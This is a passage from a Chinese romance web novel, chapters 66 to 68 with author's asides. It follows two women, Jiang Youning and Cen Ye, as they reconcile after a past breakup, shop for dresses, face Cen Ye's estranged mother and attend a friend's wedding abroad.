她印象中的姜又柠就是一个没什么心眼子的小女孩,每天能吃到好吃的就会特别开心的那种人。 “我……”姜又柠哽咽道,“每次想到这些我都很会难受。” 跟岑曳重逢甚至到现在再次互通心意,她都不敢去提起分手那段时间的事情。 她不知道那会不会是二次伤害。 后面的话被手机铃声打断了,岑曳打来了电话说忙完了,问她想不想早些跟她见面,她现在就过来接她。 “这,这么早吗?”姜又柠有些意外。 电话那边顿了下,像是听出了姜又柠的哽咽。 ——“诗文家裏的庄园不太方便我就不进去了,你让她把你送到门口,我很快就到,好吗?” 这两个人好久没见,岑曳本打算让她们多聚一会儿,但听到姜又柠的哭腔就受不了了,只想快些见到她,把她抱在怀裏亲吻。 大厅内很安静,江诗文也听到了岑曳的话,她立马凑过去一个脑袋,“岑曳姐,我知道了!柠柠可伤心了,你快来哄哄她!” 姜又柠急得去捂住江诗文的嘴巴,自己对着电话说了句‘我知道了’就挂断了。 约莫半个小时,岑曳就来了。 庄园门口停着一辆车,岑曳敲了敲车门,姜又柠便跳下车抱住了她。 女人垂眸看她,姜又柠却将脑袋埋进她的胸口不准她看自己的脸。 岑曳颇为无奈,跟江诗文告了别。 “柠柠!你改天再来找我嘛!今天就吃了个饭,哪儿都没去玩!” 姜又柠给她留了个疯狂点头的后脑勺。 两个人坐上车子的时候,姜又柠才把自己的脸露出来。 “谁欺负你了?”岑曳开着车问她。 “……你。” “我?”岑曳笑了下,“那你说说,我怎么欺负你了?” “你……你……”姜又柠想了想,“你就是欺负我了,要不是因为你,我才不会哭呢。” 车子往家的方向开,岑曳闻言恍然大悟,“那等会儿补偿你。” 回到家之后,岑曳把她抱在玄关上,吻了吻她的唇。 “怎么还在偷偷掉眼泪?”岑曳站在她双腿/间,用指腹擦着她的眼泪。 “今天我跟诗文讲了点儿过去的事情,我第一次跟她讲这些。” 女人帮她擦眼泪的动作没停,手轻抚着她的碎发。 姜又柠哽咽了下,气息不太稳,“对不起……” “不用道歉。”岑曳立刻就明白了她在说什么。 “你一定很难过对不对?”姜又柠好后悔,“我说了太多不好的话了,我还总是骗你……我没有不喜欢你,也没有觉得你很烦,我在国内的时候也一直很想你……但我又不敢想,我怕我忍不住找你……” 岑曳听得心裏堵塞,抿唇沉默了很久。 “我想你有更好的发展,一直来找我太耽误你的时间和精力了,我也不想你太辛苦……” 重逢之后,心意尚未揭晓之前,岑曳总是告诉她,‘姜又柠,我在国外过得不好。’ 浓郁的愧疚感几乎要将姜又柠压垮。 终于直面那些不好的过去,姜又柠才意识到当时的她居然这么残忍。 她自己都在寝室裏哭得不行,吃不进饭睡不好觉,室友会经常安慰她。 可岑曳呢? 一边肩负着要不要去总部的压力,一边又得自我缓解那些难听的话。 漫漫长夜裏,这个女人到底是怎么打发掉那些难过的时间呢? “对不起……”姜又柠泣不成声,“我喜欢你给我送零食,带我出去吃饭,小时候说的想跟你永远在一起也是真的,从来都没有变过……” 女人认真听着,只是眼眶裏也逐渐沁出了些许水雾。 “你是唯一对我好的人了,总是在保护我,明明我就只是家政的女儿,我也觉得我配不上这么好的你……” “又在说胡话了。”岑曳终于开了口,反驳了她的最后一句话。 姜又柠呆呆地抬起头,眼睛格外红肿,看着可怜极了。 “我们柠柠,值得世界上最好的东西。”岑曳吻她的眼角,朝着她露出安抚的笑容。 姜又柠主动抱住她,诚挚地告白,声线满含哭腔,“姐姐,我一直都很喜欢你……” 女人温柔的掌心轻拍着她的后背,声音很轻很柔,“我知道,我也一直都知道。” 姜又柠用力点头,只是下一秒,她感受到一滴温热的眼泪落在了她的鼻尖—— 作者有话说:分手好痛哦,我又把自己写哭了[爆哭][爆哭] 第67章 一直藏在心裏的愧疚终于被说出来, 姜又柠并没有意料当中的那样减轻了重担,只是觉得,她应该做些什么弥补岑曳。 但岑曳还是跟以前一样, 耐心又温柔地对待她。 就像什么都没有发生过一样,岑曳依旧是她的好姐姐,而她可以在她的怀抱下, 无所顾忌地长大。 女人像是看穿了她的顾虑,摸了摸她的头, “说出来有好受一点吗?” 姜又柠点点头, 吸了吸鼻子, 整个人都懵懵的。 她将沙发上的榛果黑巧拿过来, 拆开一颗喂进了姜又柠的嘴裏,又拿了湿毛巾帮她擦脸。 “不苦了……”姜又柠声音沙哑,将巧克力嚼开了。 “什么不苦了?” “巧克力,现在吃它又是甜的了。”姜又柠露出了笑容。 尽管换了包装, 但味道跟小时候一模一样, 混着女人带给她的那些甜蜜。 岑曳立即意会,也尝了一颗,“确实很甜。” 姜又柠美滋滋地走到她面前,表情上还有诉说衷肠后的羞赧,“不过你今天怎么回来得这么早?” “就跟负责人简单开了个小会, 她也嫌我往公司跑太麻烦了, 说既然我请假了就该好好休息。” “就是嘛。”姜又柠重重点头, “既然请假了就该好好陪我嘛。” 茶几上还放了两个大袋子,姜又柠走过去看了看。 “买了些蔬菜,怕你吃不惯,所以打算在家裏做饭。”岑曳看了眼外面的天, 尽管是冬天了,但偶尔也会冒出几次和煦的太阳。 她将蔬菜放进冰箱裏,“但你吃过了,就下次再说吧。” “我在诗文家裏吃的,她家裏的厨师是从国内聘请过来的大厨。”姜又柠拿出面条和几个鸡蛋,“你还没吃饭吧?我可以给你煮面条吃。” “脑袋不疼了?”岑曳揉了揉她的太阳xue,姜又柠舒服地眯了眯眼睛。 “只有睡前哭才会脑袋疼,我现在就是有点晕乎乎的。”姜又柠拿着食材往厨房的方向走,又去洗了锅。 余光瞥见女人打算帮她清洗蔬菜的时候,她便拦住了,“今天我自己来!” 弥补岑曳,从小事做起。 首先,她要像小时候那样,先抓住岑曳的胃。 岑曳倚靠门框站着,抱胸看她,视线紧紧跟随着,片刻都不愿意分离。 冬天姜又柠会戴围巾,头发被束缚着不方便,她就会绑起来。 这会儿她将头发盘了个丸子头,松松散散的,跟着她的动作摇摇晃晃,下一秒就像要散掉一样。 岑曳忍住戳一下的冲动,想到她刚才说的那些嘴角就忍不住上扬。 ‘我喜欢你给我送零食。’ ‘喜欢你带我出去吃饭。’ ‘小时候说的想跟你永远在一起也是真的,从来都没有变过……’ ‘姐姐,我一直都很喜欢你……’ 女人忍不住笑出了声。 姜又柠诧异地看她一眼,“我哪步做错了吗?我确实很久没有下厨了……” 在家裏的时候都是岑曳伺候她,她每次做饭都是有求于人的时候,这会儿满含真心煮着面条,生怕哪一步做的不对让饭菜变得不好吃了。 岑曳摇摇头,姜又柠收回视线,还仔细检查了自己桌上切好的蔬菜,“那你笑什么嘛……” 姜又柠用筷子搅拌着锅裏的面条,还夹起一根尝了一小口,随后便吐进了垃圾桶,“还没熟……” 女人又笑,心情愈发悠扬。 “我给你打了两个鸡蛋哦,一个是碎的,一个是完整的荷包蛋!”姜又柠舔了舔嘴唇,又往裏面抓了一小把面条,“我也再吃点吧!” 她笑眯眯地嘀咕,“那我也要吃两个鸡蛋……” 姜又柠穿着拖鞋‘哒哒哒’跑去冰箱拿了两个鸡蛋又跑回来,中间还不忘推搡岑曳一把,“挡路啦!” 两碗面条成功端上了桌,姜又柠满意地拍下了一张照片。 “我之前在网上看到还有做爱心煎蛋的,回头我学一学!”姜又柠说着,“不过应该都是用膜具弄的吧……?那之后回国再弄吧!” 岑曳慢条斯理咀嚼着面条,认真听着她的自言自语。 “你喜欢吗岑曳!”姜又柠往前凑了个脑袋,眨了眨眼睛,眸光中满是期待。 岑曳吞咽掉面条,不知道该回答她哪句话,“都喜欢。” “不真诚。”姜又柠纠正道,“你应该说——” 她双手捧着自己的脸,“天吶柠柠,你煮的面条我真的太喜欢啦!” 岑曳迟疑了两秒钟,怀疑姜又柠又是整她。 她学着姜又柠的动作,双手刚放到下巴上就又放下了,皱着眉头看看她,又自己嘆口气。 这个心理准备真难做,偏偏姜又柠满脸期待,甚至还隐隐约约有再次可怜巴巴流眼泪的趋势。 “天吶,柠柠,你,煮的面条,我真是,太喜欢了。”岑曳面无表情地说出了这句话。 姜又柠捧腹大笑,“干嘛?一点都不可爱哦!” 岑曳脸有些黑,但看到她这么高兴也就没在意了。 算了,做什么都行。 反正姜又柠开心,她就开心。 “下周婚礼,我穿什么呢?” 之前姜又柠没想过来参加婚礼的,所以一直也没考虑过怎么准备。 “天气冷,室内婚礼,你穿得舒服就好了。”岑曳见她鸡蛋吃得快,将碗裏一整个荷包蛋往她碗裏夹。 “那多不礼貌啊?我得穿漂亮一点。”姜又柠想了想,“我的行李箱裏面没有装裙子,都是一些棉袄。” “带你去买?”岑曳先是问了一句,随后又肯定道,“午休一会儿,下午带你去买几条裙子。” 姜又柠开心地点头,“好!” 下午三四点,姜又柠被岑曳带着去了一家私人服装店。 “定制来不及了,只能挑些现衣。”岑曳说。 侍应生带着她们在偌大的房间内坐下,两边的衣架上挂了很多款式的衣服。 单人沙发中间的小餐桌上还放着甜品和下午茶,姜又柠也不好意思吃,乖巧地坐着。 “别紧张。”岑曳拍拍她的肩膀,又跟适应生嘱咐了几句。 没几分钟就走来了几位模特,她们看起来跟姜又柠的身高体重差不多,穿着各色各异的礼服在房间内来回地走。 简直跟看秀一样,还是超前排。 “有喜欢的吗?”岑曳问她。 “我,我从这裏面挑吗?”姜又柠指了指自己,有些惊讶。 刚才她只顾着在心裏赞嘆,这个模特的气质好好,那个模特长得好漂亮…… 衣服是什么样子,她根本没有仔细看,注意力全被她们的脸吸引走了。 “没有喜欢的?”岑曳皱了皱眉头,正准备换一批,就被姜又柠拦住了。 “会不会很麻烦啊这样?” “挑衣服而已,有什么麻烦的?”岑曳见她纠结,按照姜又柠的眼光选了几件比较合适她的,示意姜又柠去试衣间换上看看。 岑曳起身将她送进试衣间,“需要我帮你换吗?” 姜又柠毫不犹豫地关上了门。 两件裙子都是深色款,姜又柠先是穿了件长裙出来,对着镜子照了照,“我平常的衣服颜色都比较鲜艳,这个适合我吗?” “参加婚礼不用穿得太鲜艳。”岑曳告诉她,“不喜欢的话,你再看看别的?” 姜又柠立即懂了她的意思,“那我想穿黑色的,行吗?” 看到女人点点头,她便去衣架上挑了,也不好意思再让那些模特过来走臺步。 最后姜又柠挑了一件短裙,一件连衣裙,裙摆盖过了膝盖。 黑色连衣裙她挺喜欢的,另外一条短裙有些过于短了,穿出去姜又柠真怕自己走光。 “我是不是胖了?这条裙子我看着也没有上身之后这么短啊。”姜又柠捂了捂自己的双腿,打算回更衣室换掉。 “不挑了?买些新的你回国之后也可以穿。”岑曳站在门口问她。 “不要!明年夏天我要买新的!” “……行。”女人拖长尾音,语气裏满是宠溺。 最后打包付款的时候,姜又柠发现适应生递过来了两个袋子。 “你买了几条啊?” “两条都买了。” “可是另一件很短哎。”姜又柠压低声音说,“穿不出去的。” “你还想穿出去?”岑曳质问她,“买了就是让你在家裏穿的。” “穿给谁看啊?”姜又柠故意问她,“你吗?” 女人勾了勾唇,拉着她往车子的方向走。 车门没被拉开,姜又柠正奇怪的时候,就被女人压在了车边。 亲吻落下来,两双唇轻轻地碰着。 “早知道我刚刚试穿上之后就不脱了……”姜又柠搂过她的脖子,坏笑了下。 岑曳乐出了声,咬着她的唇瓣厮磨,托着她的下巴垂下头进一步深吻。 熟悉的青柠香扑面而来,女人的怀抱依旧温暖迷人,带着十足的侵略性,朝着她欺压而来。 她脑袋往后仰着,颈后的肌肤贴到了车子,冰冰凉凉的,刺激得她缩了下身子。 岑曳顺势将她往怀裏带,单手拉开车门带着她进了车子后排。 车门被关上了,空间立即变得狭小。 姜又柠平视着她,呼吸还带着逐渐加热的焦灼。 掌心滚烫,顺着她的衣服往裏面钻。 姜又柠倒吸了口气,视线还能看见车窗外偶尔路过的行人。 “不专心。”女人点点她的鼻子,认真盯着她看,指腹顺着她的颊边摩挲,“我们柠柠,长大了很多。” 许久没有这样认真地注视过她,岑曳这次没了继续的动作,眸光描绘着她的五官,满是恋恋不舍。 姜又柠几乎要被这样炽热的视线灼伤,脑子裏又回想起过去的那些话。 那晚她提及分手的时候,岑曳也是这样将她半压在车内,而她却推开了她,说她这样的动作很让人讨厌。 “怎么又哭了?我又欺负你了?”岑曳无奈地笑,啄了啄她的唇,“刚刚说错了,我们柠柠还是个小孩子。” 姜又柠在她这裏永远都不用长大。 “我不想当小孩子……”姜又柠可怜兮兮的,“我也要当保护你的大人!” 岑曳轻轻地笑,“你已经做得很好了。” “可我还能做得更好!”姜又柠主动去咬她的唇,用脚尖勾了勾女人的小腿。 岑曳拍了拍她的臀,嫌她不老实。 似乎又下雪了,但温度依旧焦灼难耐。 雪花白茫茫的一片彻底遮盖了视线,周边的世界裏满是空洞的耳鸣声。 伴随着震颤,雨滴顺势而落,姜又柠被雪景惊讶到,抑制不住地张大了唇。 岑曳抱住她,帮她在雪地裏取暖,用亲吻安慰她的不安。 不知道过了多久,路灯倏地亮了。 车厢内递进来一道昏暗的光线,照回了姜又柠些许思绪。 岑曳起身,用宽大的毛毯彻底包裹住她。 “幸好没穿那件短裙……”姜又柠小声嘀咕着,挪动了下身体缓解不适。 不然真成了一次性衣服了。 “躺好。”岑曳将外套迭了几层放在她脑袋下面,“我去开车了。” 中途,岑曳挂了个电话。 女人车开得很稳,后排的姜又柠睡得正香,直到第二次电话铃响了之后她才醒。 她迷迷糊糊坐起来,身上的毯子滑落,凉意袭来,她冻得打了个颤,下意识又用毛毯裹住自己。 “骚扰电话,你继续睡。” “不睡了,再睡晚上睡不着了。”姜又柠打开自己的手机,“婚礼前我再去诗文那一趟吧,婚礼结束我们就得回国内了。” 国内部门岑曳是领导,也不能耽误太久时间。 “约好时间了?” “应该就这周吧,下周一周二她应该也没空。” 岑曳张唇,正打算说些什么,铃声就第三次响了起来。 “你接吧。”姜又柠看清了备注。 岑曳犹豫了,第一次没能明白姜又柠的用意。 她是说她不介意她接起岑千兰的电话,还是说她想要知道她们打算聊什么? ——“两天没回家住了,跑哪儿去了?”岑千兰的语气有些着急,“听说你今天去公司了,我这几天忙,也没跟你见一面。” “我跟柠柠在一起。”岑曳果断承认了。 电话那边沉默了好久。 ——“不带着她回家裏住?” “不用了,住着不舒服。”岑曳说完挂了电话。 姜又柠坐在车后排听得心惊胆战,以前这两个人吵架的时候还有理有据的,现在岑曳语气居然这么冷淡吗? “岑曳,你……”她想要说一句岑千兰挺好的,但又说不出口。 毕竟岑千兰什么过分的事情都没做,还主动要提供她出国留学的花销。 后来还打算补偿她跟姜鸿英,虽然不了了之了。 但毕竟她跟岑曳分手的确跟岑千兰逼迫岑曳去总部工作有关系,此刻的姜又柠夹在中间,也不知道说什么。 岑曳将副驾驶的一条小毯子也扔到后排,“裹紧点,别感冒了。” “你这样说话,岑阿姨会怎么想我嘛……”姜又柠扭捏道,“本来就……” 如果有可能的话,她想让所有的关系都转好,而不是她跟岑曳的感情再次迈入正途,但岑曳的母女关系却一如既往地僵硬。 “这不是你该担心的事情。”岑曳踩下了油门,车子开得快了很多。 晚上难得的空闲时间,两个人好久没有窝在沙发上一起看电视了。 姜又柠怀裏依旧抱着一碗圣女果,“感觉没有国内卖的好吃哎……” “那回国多买些,或者我今晚从国内买,然后空运送过来?” “我就是随口说一句啦!”姜又柠戳戳她的胳膊,“有钱也不能这么花。” “有钱当然随便你花。”岑曳从后托着她的下巴,手指勾着她的脸颊。 门铃倏地响起来,两个人皆是一愣。 “我去我去!”姜又柠现在在家裏抱着弥补岑曳的决心,大步跑过去开了门。 岑曳之前告诉过她,知道这个房子住址的都是熟人,所以她可以放心地住。 可看到来的人,姜又柠一下子便傻眼了。 “岑,岑阿姨……” “柠柠,好久没见了。”岑千兰打量她,走进来自然地换掉了鞋子,“得有四五年了吧?” 岑曳循声望去,从沙发起来,走到姜又柠身后将她拦在身后护着,“你怎么来这儿了?” “我来给你送文件。”岑千兰将手裏的公文包递给她,“跟你对接的那个负责人也忙,我就替她跑一趟。” 姜又柠攥紧女人的衣服,沉默地站在一边不说话。 “打扰到你们两个了?”岑千兰笑着说,“总得让我喝口水再走吧?” 岑曳没动,姜又柠犹豫了下小跑着接了杯热水,双手递给了她。 “还是柠柠懂事。”岑千兰夸赞道,“跟小时候一样灵巧。” “你先回房间,我俩单独聊会儿。”岑曳拉着姜又柠的手往房间裏走。 “你们别吵架。”姜又柠抿唇,心裏话一股脑都说出来了,“其实岑阿姨人很好的,她之前还问我要不要跟你一起出国,是我自己拒绝了……” 岑曳微愣,不过很快说着,“我跟她之间还有些别的问题,你别害怕,我自己处理就行。” “别吵架,真的,你们别吵架……”姜又柠怕死了。 客厅内再次剩下了两个人。 “文件我会尽快看的。”岑曳也不坐下来,赶客的意思很明显。 “当初跟你吵是我的问题,我太小看你了。”岑千兰放下热水,“你做得很出色。” “你在说哪一次吵架?” 岑千兰不意外她的话,“你刚到总部的那一次。” 如果说恋爱是导火索的话,那么那一次则是导致母女关系彻底崩坏的原因。 岑曳在姜又柠那儿碰了一鼻子灰,终于接受了她想要跟自己分手的事实。 总部加班很严重,她正好可以用工作麻痹自己,但最开始给她留的位子却没了。 岑曳倒无所谓,她不是很在乎这些权力,当下她只想把自己的生活充实起来,然后麻痹掉没有姜又柠的生活。 可第一天下班,岑千兰就对着刚下班的她大发脾气。 “你知不知道我给你递交了多少材料,才给你留的管理位啊?”岑千兰脸上没了任何冷静,“项目时间紧张,组内多少人呢,等不了你!你拖拖拉拉的,现在位子给了庄氏那个小姑娘!我多少心血都白费了!” “原来江阿姨扶持的人是庄玟啊,我跟她今天见过了,挺好的,比我适应得快。” 岑曳的反应很平淡,哪裏一进总部就是领导的? 被人背后说小话这种事情,她虽然不在乎,但没有当然是最好的。 “这个项目合作方是我们的老熟人,你只要不出错,按部就班地走,几个月之后你就是高层的储备人选,副董很看重你,我帮你准备了这么久,到手的机会就这样拱手让人!” “你是觉得,我做什么都只能靠着你吗?”岑曳理解不了她的想法。 如果想给自己的孩子托底,不应该放手让她去做,如果失败了再给她找后路吗? 为什么岑千兰总在掌控她所有的想法? 她唯一做错的就是没出任何错误,让岑千兰的话语权在她这裏根本无处施展。 每次毫无感情,满是领导欲的话都让她听起来格外刺耳。 “你跟着妈妈走,你不用这么辛苦的!”岑千兰也无法茍同她的想法,“你谈个恋爱谈得脑子都没了?庄氏现在跟江氏现在走到一起,把我们撇开了知不知道?” 一个大家族和一个势头很猛的新兴企业,还有岑千兰这个白手起家的女人。 没人不感慨岑千兰的强大,但她却孤身一人。 三人行最怕其中的两个人手牵手厮混在一起,她怕被舍弃出来,怕没人接自己的班,让自己大半辈子奋斗出来的东西全部白费。 岑曳怎么就不明白她的苦心呢? “我培养你就是想要你来接我的班,我只有你一个女儿……”岑千兰气到吐字都模糊起来,“我不像小时候那样管控你的社交了,你是故意这样给我看吗?” “你可以再去领养一个女儿,把你的家产都给她,我不需要。”岑曳冷声道,“我不需要你的托底,我自己可以过得很好。” 说完,岑千兰就对着她的脸甩了一巴掌。 岑曳有些懵,好像她作为女儿,就应该屈辱地活在母亲的照耀下。 “我很快就能坐上跟庄玟一样的位子,你不是说你最了解我吗?你对自己的女儿就这么没自信吗?”岑曳冷笑了下,转身就回了房间。 之后,岑曳在总部裏跟庄玟既是伙伴,又是对手,两个人都卯着劲往前冲,拼了命地干。 战友情就是这么打下来的,最开始那点硝烟渐渐消散,唯独岑曳跟岑千兰的母女情被那巴掌彻底扇没了。 两个人的关系始终僵硬,直到总部开始开拓国内市场,打算捡起国内一潭死水的部门时,岑曳主动申请调回了国内。 这是一个烂摊子,没人敢接,但岑曳无所谓。 她只想赌,赌一个见到姜又柠的机会。 其它的一切她都不在乎。 …… 好多回忆都太过残忍,但岑曳已经习惯了。 面对岑千兰难得的服软,她情绪上也没什么太大的波澜。 “你想做什么我都能支持你。”岑千兰嘴角略微有些苦涩,“有些事情早些年看不懂,现在才慢慢明白。” 这算迟来的道歉吗? 好像岑曳也不是很需要了。 她只在小时候没考好被打骂的时候需要岑千兰柔声哄她,字写得不算整齐的时候被岑千兰安慰没关系,她可以慢慢来。 而不是在她强大到什么都不需要的时候,说‘我知道你需要温暖。’ 她心中唯一的缺陷已经被姜又柠填满了,现在的她什么都不需要了。 “都能支持我吗?”岑曳淡淡望向她,但语气中带着不确定。 “妈妈不擅长说话,但我相信你能听懂。”岑千兰说,“鸿英常说,人要懂得知足,我现在才逐渐开始明白这个道理。” 更何况岑曳现在的成就是她最开始就想要让她达到的。 岑曳凭借自己的努力去做到这些,好像比她托举要更加令人信服一些。 客厅内寂静了许久,岑曳露出了个淡淡的笑容。 “行了,文件送到了,那我就走了。”岑千兰刚迈出几步,又转身把茶几上的杯子拿走了,“柠柠倒的,我得喝完。” 门锁刚刚落下,房间内的姜又柠就憋不出跑了出来。 “你们聊什么了!岑阿姨怎么走了?” “这次没偷听?” “我什么时候偷听了!岑曳,你少污蔑我!”姜又柠脸上写满了焦急,“岑阿姨到底跟你说什么了?” 岑曳握住她的手,放在唇边吻了下,“她说,让我好好爱你。”—— 作者有话说:姜又柠小时候吃泡泡糖一不小心咽进肚子裏了,对着岑曳嚎啕大哭,说了一万遍“下辈子我要当你亲妹妹”,晚上躺床上睡觉等死,第二天睁眼看见岑曳,佯装无事发生背着书包就去上学了。岑曳一边喊她,她一边跑得越来越快。 第68章 周末, 姜又柠跟着江诗文疯玩了两天。 两边人都打着电话,一个嫌姜又柠跑来国外不陪她自己去玩儿,一个质问江诗文还有三天办婚礼事情这么多为什么还要跟朋友出门? 但没一个人理, 岑曳盯着地图上的红点,虽然很不爽,但也由着她去了。 只不过晚上的时候, 姜又柠遭了不少罪。 那条黑色短裙最后还是成为了一次性用品,国外玩具牌子多, 也不知道岑曳什么时候买的, 抓着她一晚上都没肯放过。 周三婚礼, 姜又柠全身软绵绵的, 差点起不来床。 岑曳又开始伺候她洗漱,一口三明治一口牛奶地喂给她。 “速度快点,我们得早些到。” 姜又柠点点头,视线跟随着女人的动作, 看她涂了个深色的口红。 她吞咽掉最后一口三明治, 喝光牛奶擦干净嘴巴走到岑曳身边。 “我也要跟你涂一个口红!” 岑曳闻言,没有把口红递给她,反而示意她靠近一些。 姜又柠一点儿没怀疑,以为她是要帮自己涂,便嘟起嘴巴凑了过去。 掌心落在了她的后颈, 女人吻上了她的唇。 意外的吻到来, 还伴随着牛奶的清甜。 岑曳的唇带着温热, 轻轻舔舐着她的下唇,再含住她的唇珠吸吮。 姜又柠本来就没怎么睡醒,这下更是被亲得晕晕乎乎。 “不是这样涂……”姜又柠推开她,却被女人握住手指放在胸口, 还有意无意地按压了几下。 “那是怎么涂?” 姜又柠刚张了张嘴,就给了女人舌尖探入的机会。 舌尖毫不留情地刮着她的牙齿,探寻着她口腔内的每一寸痕迹。 痒意袭来,她忍不住用牙齿咬合,却不小心咬住女人的舌尖,被惩罚性地拍了下屁股。 “我们的时间不够……” 岑曳夺取着她的呼吸,失笑道,“这个时候知道着急了?” 早上赖床的时候倒是会过分耍赖。 身体不受控制地跟着感觉走,姜又柠双手搂过女人的脖颈,踮起脚尖主动迎合了上去。 岑曳单手撑着桌面,将她的腰往自己面前捞。 肌肤紧紧贴在一起,姜又柠整个人都被她包裹住,怎么逃都逃不开了。 “岑……”姜又柠烦死她紧急情况下的挑逗了。 知道她心急,还要故意抓住她不放。 唇上染着波光粼粼的水渍,松开的时候还发出了轻微的声音。 姜又柠眯了眯眼睛,呜咽了声,隐隐约约带了些难耐。 “裙子还没换呢……”姜又柠还记得流程。 得先把衣服换上再化妆,不然妆会花的。 “那正好,我帮你把睡裙脱了。” 女人在她耳边轻轻地笑,唇齿纠缠的愉悦让姜又柠再也没了挣扎的可能。 …… 收拾好一切出门之后,时间便剩得越来越短。 岑曳踩下油门,加快了速度,还不忘余光撇一眼姜又柠的状态。 “为什么我们涂的是一个口红,但看起来颜色不太一样?”姜又柠照着镜子,还在整理着自己的妆容,“好久都没有化全妆了。” “唇色大概也有影响。” “说不定是被你亲的……” 岑曳乐了,“你要这么认为也行。” 电话响起来,她扫了一眼,“帮我接一下。” 姜又柠拿过手机,犹豫道,“是岑阿姨的电话……” “她打来应该就是问我们到哪儿了,你跟她如实说就行。” “……哦。”姜又柠接起电话,小心翼翼地喊,“岑阿姨,我是柠柠。” ——“还没到吗?婚礼上已经来了不少人,我们跟庄氏江氏关系不错,来得太晚不礼貌。” “我们马上就到了,马上就到!”姜又柠双手将手机放到岑曳耳边,示意她也说几句话。 岑千兰这样略带质问的语气她不擅长面对,而且对面听见她是姜又柠之后,居然没有任何意外。 岑曳单手接过电话,“很快就到了。” 说完就挂了,姜又柠拿过手机盯着通话记录,蹙眉说,“这样不礼貌的,你应该等长辈先挂电话。” 岑曳笑出了声,没应她。 消息栏又弹出几条微信,没有屏蔽掉备注。 “跟你对接的负责人没去参加婚礼吗?她在给你发工作消息。” “工作消息不用回,等我空了再看。”岑曳说,“总部这群人,在婚礼现场加班都是有可能的。” 姜又柠拿着手机,许久都没放回车上。 “想看就看。” “我才不看你手机呢,都是工作……”姜又柠心口不一,点开了微信随便翻了翻,“还真的都是工作啊!” “怎么听起来你还有点失望?” 姜又柠哼了一声,“谅你也不敢。” 她又点开相册,裏面除了些工作截图,剩下的就是之前她们两个一起去旅游的时候拍的几张照片。 相机被点开,姜又柠侧身拍了张自拍,顺便让开着车的岑曳也入了镜。 拍完她就习惯性地关后臺,看到一个被锁着关不掉的app也没理会。 把手机放回去的时候她才随口问,“你后臺怎么有个app关不掉?” 岑曳顿了下,“系统自带的吧。” “哦……”姜又柠又点开自己的手机,“一个牌子的,我来看看我的!” 她捣鼓了好久,“我的都能关掉啊!” 等她打算再去拿岑曳手机的时候,手就被拍了下,“马上到了,再好好整理一下。” “小气鬼。”姜又柠开始整理自己的裙子和妆容,下了车便挽着岑曳的胳膊入了场。 婚礼大厅布置得很豪华,但场地不算大,据江诗文说,她不喜欢太大的场地,也不喜欢来太多人。 跟一个不喜欢的人结婚,来那么多人不是看笑话吗? 姜又柠本来也觉得人少,但发现不少人的目光都落在了她的身上之后,她就恨不得找个角落缩进去。 几年前岑曳刚到总部的时候,都在传她有个爱而不得的前任,还因为这个前任跟岑千兰闹翻了。 眼下传闻中的女主角出现在了大众面前,还能跟岑千兰和平地坐在同一桌,每个人都带着八卦的目光,无论是打招呼时的直视,还是路过时的余光,一个个都格外赤/裸。 “岑阿姨。”姜又柠主动打了招呼,不知道自己该坐在哪裏。 坐在两人中间她会手足无措的,只坐在岑曳旁边的话,那另一边只会坐着她不认识的人。 “你坐到岑曳右边去吧,再旁边是诗文妈妈,她很想认识你。”岑千兰看穿了她的紧张,主动开了口。 姜又柠大惊失色,拽了拽岑曳的胳膊,“我们坐主桌啊?这合适吗?” “座位是按照社交圈安排的,你安心坐着,等吃饭就好。”岑曳解释了一句,姜又柠便缩成了一小团。 江阿姨穿得不算隆重,只是简简单单的藕粉色裙子,见了姜又柠主动开口。 “你就是柠柠吧?我听诗文讲,她刚去国内的时候你很照顾她。” “没有啦,是她照顾我多!”姜又柠连忙摆摆手。 “年轻人之间互相照应,交朋友当然是很好。”江阿姨从包裏拿出一个金镯子,“这个就送给你,当我给你的谢礼。” 姜又柠吓得双手放在背后,岑千兰看了眼,淡声道,“让别人瞧见了还以为柠柠是你们江家的女儿。” “反正一个读音嘛,我瞧着柠柠挺让我喜欢的。”江阿姨慈祥地摸摸她的脸,“不如你认我做干妈?” 岑千兰没说话,只是用手捂住嘴轻轻咳嗽了几声,随后看向了臺子。 跟岑曳待久了,姜又柠似乎也学了些察言观色的技能,她委婉拒绝了江阿姨的提议,但怕对方不高兴,思索着该怎么找补的时候,江阿姨就爽朗地笑了笑,也望向了臺面。 终于不是谈话焦点的姜又柠终于松了口气,喝了一口饮料才后知后觉地意识到这是有度数的香槟。 “你刚刚怎么不帮我说话?”姜又柠扯着女人的袖口,小小地报复她。 “你跟诗文关系好,要认江阿姨当干妈也不错。”岑曳说,“不用在意别人,你愿意就可以。” “干嘛!”姜又柠很快就放弃了从她这裏寻求缓解紧张的办法。 司仪宣布着婚礼流程,很快新人就上了臺。 江诗文先往主桌看,冲着姜又柠挥了挥手。 臺下人的视线都跟着她,姜又柠垂下了脑袋躲开了几秒钟再敢再次望过去。 岑曳的手不动声色地落在她身后的椅背上,又提醒她坐直了挺起腰。 “还跟个小孩子一样。” “我紧张……”姜又柠用嘴巴大口呼气。 “等你办婚礼的时候也这么紧张?” “我……”姜又柠愣了下,娇嗔道,“我才不跟你办婚礼呢……” 随后她又小声嘀咕,“……不过肯定会更紧张的。” 司仪节奏把握得很好,很快主桌上的长辈都陆陆续续上了臺。 姜又柠认真看着,还是忍不住红了眼眶,“我觉得诗文挺喜欢庄负责人的呀,你有没有看出来?” 岑曳轻轻点头,“庄玟应该也是。” 她侧眸,“感动了?” 姜又柠抽了纸巾擦眼泪,“有一点点……” 她吸了吸鼻子,“我还以为诗文在国外朋友很多呢,可最近几天我发现她好像也没什么朋友。” “她跟家裏的姐妹关系挺不错的。”岑曳说,“但因为是家裏最小的,所以她那些姐姐忙生意的时候也不带她,觉得她年纪小,从小太受宠,心思也不在工作上。” “但周末的时候她也跟我讲了,她最近几个月在工作上进步挺大的,庄玟教了她很多东西。” “嗯,她们挺合适的,很互补。” 姜又柠说什么岑曳就答什么。 她嘆了口气,要是问岑曳在总部的事情,这个女人也会回答得如此流利吗? 肯定不会,那些辛苦一定都会被她埋进肚子裏,怎么挖都挖不出来。 姜又柠抓过女人的手,跟她十指紧扣,“我跟你讲了那么多烦恼,你应该跟我也讲讲,这样我们就也是互补的了。” 岑曳扯了扯唇,两只手裹住她的手,“过去的事情没什么好说的,现在很快乐就够了。” “以后也会是快乐的。”姜又柠的语气格外认真。 婚礼流程结束之后,便是充满商业性质的往来,江诗文跟庄玟端着酒杯,在每一桌前都说着无聊且重复度极高的话。 乱七八糟的人太多,抵抗不了频繁喝酒。 岑曳也喝了很多,姜又柠这才意识到她在国内跟自己小酌的时候真的是在装醉。 “原来你酒量这么好啊。”姜又柠冷哼一声,懒得搭理她。 